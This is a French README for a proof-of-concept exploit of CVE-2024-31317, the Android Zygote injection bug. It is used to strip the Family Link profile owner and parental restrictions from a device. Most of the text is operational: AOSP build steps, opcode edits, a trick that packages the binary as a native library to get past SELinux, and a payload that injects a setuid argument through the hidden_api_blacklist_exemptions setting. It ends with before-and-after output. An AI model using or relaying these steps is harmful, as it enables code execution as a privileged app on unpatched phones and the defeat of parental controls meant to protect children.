
Supprimer les propriétaires de profil Android / le lien Family Link avec CVE-2024-31317
Zygotroller est une preuve de concept qui peut supprimer un propriétaire de profil et les restrictions associées grâce au bug d'injection Zygote de la CVE-2024-31317. Il nécessite le mode développeur et que le dernier correctif de sécurité soit antérieur à juin 2024.
Le système de contrôle parental de Google, Family Link, est présenté comme exemple dans ce dépôt.
Vous aurez besoin d'un appareil relativement récent exécutant une distribution basée sur Debian pour compiler Zygotroller. Des précompilés peuvent être disponibles ou non selon le moment où vous lisez ceci.
Malheureusement, cela repose sur des parties internes d'Android, vous devez donc cloner l'intégralité du code source Android afin de construire Zygotroller. Assurez-vous d'avoir au moins 400 Go d'espace libre, même si vous en utiliserez probablement moins.
IMPORTANT SI VOUS UTILISEZ WSL : Assurez-vous d'avoir BEAUCOUP de swap, sinon WSL plantera. Personnellement, j'ai utilisé 32 G :
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Maintenant, pour cloner le source AOSP :
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (peut demander plusieurs tentatives à cause des limites de débit)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (si vous testez sur un émulateur, remplacez arm64 par x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
Maintenant, nous devons modifier les valeurs dans le script pour notre propriétaire de profil réel et l'opcode de clearProfileOwner. Le propriétaire de profil peut être soit dans le package « supervision » de Google Play services, soit dans Google Play services lui-même. Exécutez dpm list-owners, mon résultat était le suivant :
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
Cela nous donne deux informations nécessaires pour Zygotroller : le nom du package (com.google.android.gms.supervision) et le nom de la classe (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).
Modifiez zygotroll.cpp avec votre éditeur de texte préféré et mettez à jour ces lignes avec votre composant propriétaire de profil :
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
Maintenant, vous devez trouver l'opcode de la fonction clearProfileOwner de DPM. C'était « 91 » pour moi, mais cela varie selon la version/type d'Android que vous exécutez. Pour obtenir l'opcode de clearProfileOwner, j'ai utilisé android-svc avec la commande
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
Le nombre que vous voyez dans la sortie sera l'opcode pour clearprofile owner, rouvrez zygotroll.cpp avec votre éditeur de texte préféré et modifiez le nombre ici, avec votre opcode réel :
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
Vous voudrez faire la même chose avec setUserRestriction :
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
Maintenant, nous devons compiler zygotroller :
mm
Cela peut prendre TRÈS longtemps lors de la compilation initiale ; les compilations suivantes prendront <1 min sur la plupart des machines modernes.
Trouvez votre binaire dans ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller
Maintenant, nous devons créer une application qui contient ce binaire en tant que « bibliothèque partagée » qui n'est en réalité que l'exécutable Zygotroller, afin que SELinux nous permette de l'exécuter. Vous pouvez utiliser mon dépôt « CopyNativeLib » pour cela :
git clone https://github.com/rifting/CopyNativeLib.git
Ensuite, renommez votre binaire Zygotroller en libzygotroller.so et placez-le dans app/src/main/jniLibs/arm64-v8a (je suppose que ce sera l'architecture de votre téléphone). Construisez l'APK dans Android Studio et installez-le sur votre appareil avec adb install.
Le propriétaire de profil Family Link était l'utilisateur 10090 pour moi, alias u0_a90. Faites dumpsys package com.google.android.gms.supervision | grep userId=
Maintenant, jetez un œil à payload.sh, sur cette ligne
inject='\n--setuid=10090...
Changez l'UID ici de 10090 vers celui que vous avez obtenu avec la commande dumpsys. Si c'est le même, laissez-le.
Regardez un peu plus loin sur cette ligne et vous verrez
...echo zYg0te $(LD_LIBRARY_PATH=[chemin vers votre bibliothèque native] [chemin vers votre bibliothèque native])...
(les trois points indiquent une troncature)
Vous devez remplacer ces chemins par ceux de la bibliothèque native que vous venez d'installer sur l'appareil. Exécutez pm path com.rifting.copynativelib. Le chemin du fichier sera le répertoire parent de l'APK affiché en sortie de la commande, + lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH doit être le répertoire de la bibliothèque, puis le chemin réel vers la bibliothèque doit venir après. Cette ligne ressemblera donc à ceci :
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
Vous y êtes presque ! Poussez ce fichier vers /data/local/tmp
adb push payload.sh /data/local/tmp
Définissez les permissions :
chmod +x /data/local/tmp/payload.sh
Et enfin, envoyez sa sortie dans hidden_api_blacklist_exemptions !
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
Maintenant, définissez ceci sur « 0 » pour éviter une boucle de démarrage :)
settings put global hidden_api_blacklist_exemptions 0
Vous devriez constater que le propriétaire de profil Family Link et toutes les restrictions associées ont été supprimés. Allez dans les paramètres et gérez les comptes, puis supprimez le compte supervisé de l'appareil. Félicitations !
Avant :
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
Après :
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...